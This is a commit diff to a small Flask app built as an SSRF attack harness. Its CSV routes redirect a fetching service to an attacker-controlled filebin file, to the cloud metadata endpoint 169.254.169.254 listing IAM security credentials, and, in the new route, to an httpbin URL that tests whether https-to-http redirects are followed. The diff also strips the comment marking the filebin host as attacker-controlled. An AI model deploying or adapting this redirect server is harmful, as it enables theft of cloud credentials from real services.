add http redirect test

app.py

@@ -3,13 +3,17 @@ app = Flask(__name__)
 
 @app.route("/data.csv")
 def redirect_to_filebin():
-    # Redirect to our attacker-controlled filebin CSV (known to work)
     return redirect("https://filebin.net/ssrf-hf-evidence-1777003694/evidence.csv", code=301)
 
 @app.route("/imds.csv")
 def redirect_to_imds():
     return redirect("http://169.254.169.254/latest/meta-data/iam/security-credentials/", code=301)
 
+@app.route("/http_test.csv")
+def redirect_to_http():
+    # Test if https->http redirect is followed (httpbin returns json not csv)
+    return redirect("http://httpbin.org/anything/evidence.csv", code=301)
+
 @app.route("/health")
 def health():
     return "ok", 200